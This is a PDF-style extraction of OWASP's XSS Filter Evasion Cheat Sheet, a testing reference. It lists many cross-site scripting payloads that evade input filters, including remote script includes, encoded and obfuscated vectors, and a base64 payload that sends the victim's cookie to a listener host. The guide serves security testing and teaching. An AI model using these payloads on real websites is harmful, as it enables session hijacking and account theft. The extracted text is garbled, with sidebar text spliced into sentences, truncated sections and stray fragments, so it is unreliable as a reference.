XSS Filter Evasion Cheat Sheet - OWASP
XSS Filter Evasion Cheat Sheet - OWASP
Apply
Now!
Sheet
Author: Jim Manico, Robert RSnake Hansen
Contributor(s): Abdullah Hussam, Michael McCabe, Luke Plant, The OWASP®
Randomm, David Shaw, ALange, Matt Tesauro, Adam Caudill,
Foundation works to
Anandu, DhirajMishra, Ono, Bill Sempf, Dan Wallis, Peter Mosmans,
Dominique Righetto, Agit Kaplan, kingthorin improve the security of
software through its
Introduction community-led open
source software projects,
This article is focused on providing application securi
hundreds of chapters
ty testing professionals with a guide to assist in Cros worldwide, tens of
s Site Scripting testing. The initial contents of this arti thousands of members,
cle were donated to OWASP by RSnake, from his se and by hosting local and
minal XSS Cheat Sheet, which was at: http://ha. global conferences.
ckers.org/xss.html. That site now redirects to its
new home here, where we plan to maintain and enh
ance it. The very first OWASP Prevention Cheat She
et, the Cross Site Scripting Prevention Cheat Upcoming Global
Sheet, was inspired by RSnake’s XSS Cheat Sheet, Events
so we can thank RSnake for our inspiration. We wan
ted to create short, simple guidelines that developer
s could follow to prevent XSS, rather than simply telli
ng developers to build apps that could protect again
st all the fancy tricks specified in rather complex atta
ck cheat sheet, and so the OWASP Cheat Sheet
Series was born.
Tests
This cheat sheet lists a series of XSS attacks that
can be used to bypass certain XSS defensive filters.
Please note that input filtering is an incomplete
defense for XSS which these tests can be used to
defense for XSS which these tests can be used to
illustrate.
<SCRIPT SRC=http://xss.rocks/xss.js>
</SCRIPT>
<IMG SRC="javascript:alert('XSS');">
HTML Entities
The semicolons are required for this to work:
<IMG
SRC=javascript:alert("XSS")>
Malformed A Tags
Skip the HREF attribute and get to the meat of the
XXS… Submitted by David Cross ~ Verified on
Chrome
\<a
onmouseover="alert(document.cookie)"\>xxs
link\</a\>
\<a
onmouseover=alert(document.cookie)\>xxs
link\</a\>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>
fromCharCode
If no quotes of any kind are allowed you can eval()
a fromCharCode in JavaScript to create any XSS
vector you need:
<IMG
SRC=javascript:alert(String.fromCharCode(8
8,83,83))>
On Error Alert
<IMG SRC=/
onerror="alert(String.fromCharCode(88,83,8
3))"></img>
<IMG SRC=javasc
ript:al&#
101;rt('XSS&
#39;)>
<IMG
SRC=javascr&#x
69pt:alert
('XSS')>
Embedded Tab
Used to break up the cross site scripting attack:
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
Non-alpha-non-digit XSS
The Firefox HTML parser assumes a non-alpha-non-
digit is not valid after an HTML keyword and therefor
considers it to be a whitespace or non-valid token
after an HTML tag. The problem is that some XSS
filters assume that the tag they are looking for is
broken up by whitespace. For example \
<SCRIPT\\s != \<SCRIPT/XSS\\s:
<SCRIPT/XSS SRC="http://xss.rocks/xss.js">
</SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?
@[/|\]^`=alert("XSS")>
<SCRIPT/SRC="http://xss.rocks/xss.js">
</SCRIPT>
<SCRIPT SRC=//xss.rocks/.j>
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
INPUT Image
<INPUT TYPE="IMAGE" SRC="javascript:alert(
'XSS');">
BODY Image
<BODY BACKGROUND="javascript:alert('XSS')"
>
IMG Dynsrc
<IMG DYNSRC="javascript:alert('XSS')">
IMG Lowsrc
<IMG LOWSRC="javascript:alert('XSS')">
List-style-image
Fairly esoteric issue dealing with embedding images
for bulleted lists. This will only work in the IE
rendering engine because of the JavaScript
directive. Not a particularly useful cross site scripting
vector:
<STYLE>li {list-style-
image: url("javascript:alert('XSS')");}
</STYLE><UL><LI>XSS</br>
VBscript in an Image
<IMG SRC='vbscript:msgbox("XSS")'>
ECMAScript 6
Set.constructor`alert\x28document.domain\x29
BODY Tag
Method doesn’t require using any variants of
javascript: or <SCRIPT... to accomplish the XSS
attack). Dan Crowley additionally noted that you can
put a space before the equals sign (onload= !=
onload =):
<BODY ONLOAD=alert('XSS')>
Event Handlers
It can be used in similar XSS attacks to the one
above (this is the most comprehensive list on the
BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">
STYLE sheet
<LINK REL="stylesheet"
HREF="javascript:alert('XSS');">
<STYLE>@import'http://xss.rocks/xss.css';
</STYLE>
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
<XSS STYLE="xss:expression(alert('XSS'))">
US-ASCII Encoding
US-ASCII encoding (found by Kurt Huwig).This uses
malformed ASCII encoding with 7 bits instead of 8.
This XSS may bypass many content filters but only
works if the host transmits in US-ASCII encoding, or
if you set the encoding yourself. This is more useful
against web application firewall cross site scripting
evasion than it is server side filter evasion. Apache
Tomcat is the only known server that transmits in
US-ASCII encoding.
¼script¾alert(¢XSS¢)¼/script¾
META
The odd thing about meta refresh is that it doesn’t
send a referrer in the header - so it can be used for
certain types of attacks where you need to get rid of
referring URLs:
<META HTTP-
EQUIV="refresh" CONTENT="0;url=javascript:
alert('XSS');">
<META HTTP-
EQUIV="refresh" CONTENT="0;url=data:text/h
tml base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3N
jcmlwdD4K">
IFRAME
If iframes are allowed there are a lot of other XSS
problems as well:
<IFRAME SRC="javascript:alert('XSS');">
</IFRAME>
FRAME
<FRAMESET>
<FRAME SRC="javascript:alert('XSS');">
</FRAMESET>
TABLE
<TABLE BACKGROUND="javascript:alert('XSS')
">
TD
Just like above, TD’s are vulnerable to
BACKGROUNDs containing JavaScript XSS
vectors:
<TABLE>
<TD BACKGROUND="javascript:alert('XSS')">
DIV
DIV Background-image
<DIV STYLE="background-
image: url(javascript:alert('XSS'))">
<DIV STYLE="background-
image: url(javascript:alert('XSS'))">
DIV Expression
A variant of this was effective against a real world
cross site scripting filter using a newline between the
colon and “expression”:
<DIV STYLE="width: expression(alert('XSS')
);">
Downlevel-Hidden Block
Only works in IE5.0 and later and Netscape 8.1 in IE
rendering engine mode). Some websites consider
anything inside a comment block to be safe and
therefore does not need to be removed, which
allows our Cross Site Scripting vector. Or the system
could add comment tags around something to
attempt to render it harmless. As we can see, that
probably wouldn’t do the job:
BASE Tag
Works in IE and Netscape 8.1 in safe mode. You
need the // to comment out the next characters so
need the // to comment out the next characters so
you won’t get a JavaScript error and your XSS tag
will render. Also, this relies on the fact that the
website uses dynamically placed images like
images/image.jpg rather than full paths. If the path
includes a leading forward slash like
<BASE HREF="javascript:alert('XSS');//">
OBJECT Tag
If they allow objects, you can also inject virus
payloads to infect the users, etc. and same with the
APPLET tag). The linked file is actually an HTML file
that can contain your XSS:
<OBJECT TYPE="text/x-
scriptlet" DATA="http://xss.rocks/scriptle
t.html"></OBJECT>
<EMBED SRC="http://ha.ckers.org/xss.swf" A
llowScriptAccess="always"></EMBED>
W9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQ
iIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0
IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIl
h TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="ima
ge/svg+xml" AllowScriptAccess="always">
</EMBED>
a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
HTML+TIME in XML
This is how Grey Magic hacked Hotmail and Yahoo!.
This only works in Internet Explorer and Netscape
8.1 in IE rendering engine mode and remember that
you need to be between HTML and BODY tags for
this to work:
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-
microsoft-com:time">
<?
import namespace="t" implementation="#default#
time2">
<t:set attributeName="innerHTML" to="XSS<SCRIP
T DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
ocks/xss.js></SCRIPT>'"-->
PHP
Requires PHP to be installed on the server to use
this XSS vector. Again, if you can run any scripts
remotely like this, there are probably much more dire
issues:
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
<IMG SRC="http://www.thesiteyouareon.com/s
omecommand.php?
somevariables=maliciouscode">
Cookie Manipulation
Admittedly this is pretty obscure but I have seen a
few examples where <META is allowed and you can
use it to overwrite cookies. There are other
examples of sites where instead of fetching the
username from a database it is stored inside of a
cookie to be displayed only to the user who visits the
page. With these two scenarios combined you can
modify the victim’s cookie which will be displayed
back to them as JavaScript (you can also use this to
log people out or change their user states, get them
to log in as you, etc…):
<META HTTP-EQUIV="Set-
Cookie" Content="USERID=
<SCRIPT>alert('XSS')</SCRIPT>">
UTF-7 Encoding
If the page that the XSS resides on doesn’t provide
a page charset header, or any browser that is set to
UTF-7 encoding can be exploited with the following
(Thanks to Roman Ivanov for this one). Click here
for an example (you don’t need the charset
statement if the user’s browser is set to auto-detect
and there is no overriding content-types on the page
in Internet Explorer and Netscape 8.1 in IE rendering
engine mode). This does not work in any modern
browser without changing the encoding type which is
why it is marked as completely unsupported.
Watchfire found this hole in Google’s custom 404
script.:
<HEAD><META HTTP-EQUIV="CONTENT-
TYPE" CONTENT="text/html; charset=UTF-
7"> </HEAD>+ADw-SCRIPT+AD4-
alert('XSS');+ADw-/SCRIPT+AD4-
IP Versus Hostname
<A HREF="http://66.102.7.147/">XSS</A>
URL Encoding
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6
C%65%2E%63%6F%6D">XSS</A>
DWORD Encoding
g
Note: there are other of variations of Dword
encoding - see the IP Obfuscation calculator below
for more details:
<A HREF="http://1113982867/">XSS</A>
Hex Encoding
The total size of each number allowed is somewhere
in the neighborhood of 240 total characters as you
can see on the second digit, and since the hex
number is between 0 and F the leading zero on the
third hex quotet is not required):
<A HREF="http://0x42.0x0000066.0x7.0x93/">
XSS</A>
Octal Encoding
Again padding is allowed, although you must keep it
above 4 total characters per class - as in class A,
class B, etc…:
<A HREF="http://0102.0146.0007.00000223/">
XSS</A>
Base64 Encoding
<img onload="eval(atob('ZG9jdW1lbnQubG9jYX
Rpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVu
dC5jb29raWU='))">
Mixed Encoding
Let’s mix and match base encoding and throw in
some tabs and newlines - why browsers allow this,
I’ll never know). The tabs and newlines only work if
this is encapsulated with quotes:
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
<A HREF="//www.google.com/">XSS</A>
<A HREF="//google">XSS</A>
<A HREF="http://ha.ckers.org@google">XSS</
A>
<A HREF="http://google:ha.ckers.org">XSS</
A>
Removing CNAMEs
<A HREF="http://google.com/">XSS</A>
<script>
var contentType =
<%=Request.getParameter("content_type")%>;
var title = "
<%=Encode.forJavaScript(request.getParameter("
title"))%>";
...
//some user agreement and sending to server
logic might be here
...
</script>
<a href="/share?content_type=1&title=This
is a regular
title&content_type=1;alert(1)">Share</
a>
…
</script>
<
%3C
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
;
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
\x3c
\x3C
\u003c
\u003C
DOM-based XSS
Vulnerable code:
...
header('Location: '.$_GET['param']);
...
As well as:
..
header('Refresh: 0; URL='.$_GET['param']);
...
/?param=
<javascript:alert(document.cookie>)
/?param=
<data:text/html;base64,PHNjcmlwdD5hbGVydCg
nWFNTJyk8L3NjcmlwdD4=
LICKME
<input/onmouseover="javaSCRIPT:c
onfirm(1)"
<iframe
src="data:text/html,%3C%73%63%72%69%70
%74%3E%61%6C%65%72%74%28%31%29%3C%2F%7
3%63%72%69%70%74%3E"></iframe>
<OBJECT CLASSID="clsid:333C7BC4-460F-
11D0-BC04-0080C7055A83"><PARAM
NAME="DataURL"
VALUE="javascript:alert(1)"></OBJECT>
Edit on GitHub
Cequence Security is a venture backed cybersecurity software company founded in 2015 and
Cequence Security is a venture-backed cybersecurity software company founded in 2015 and
based in Sunnyvale, CA. Its mission is to transform application security by consolidating
multiple innovative security functions within an open, AI-powered software platform that
protects customers web, mobile, and API-based applications – and supports today’s cloud-
native, container-based application architectures. The company is led by industry veterans
that previously held leadership positions at Palo Alto Networks and Symantec. Customers
include F500 organizations across multiple vertical markets, and the solution has earned
multiple industry accolades.
Corporate Supporters
OWASP, Open Web Application Security Project, and Global AppSec are registered trademarks and
AppSec Days, AppSec California, AppSec Cali, SnowFROC, LASCON, and the OWASP logo are
trademarks of the OWASP Foundation, Inc. Unless otherwise specified, all content on the site is Creative
Commons Attribution-ShareAlike v4.0 and provided without warranty of service or accuracy. For more
information, please refer to our General Disclaimer. OWASP does not endorse or recommend commercial
products or services, allowing our community to remain vendor neutral with the collective wisdom of the
best minds in software security worldwide. Copyright 2021, OWASP Foundation, Inc.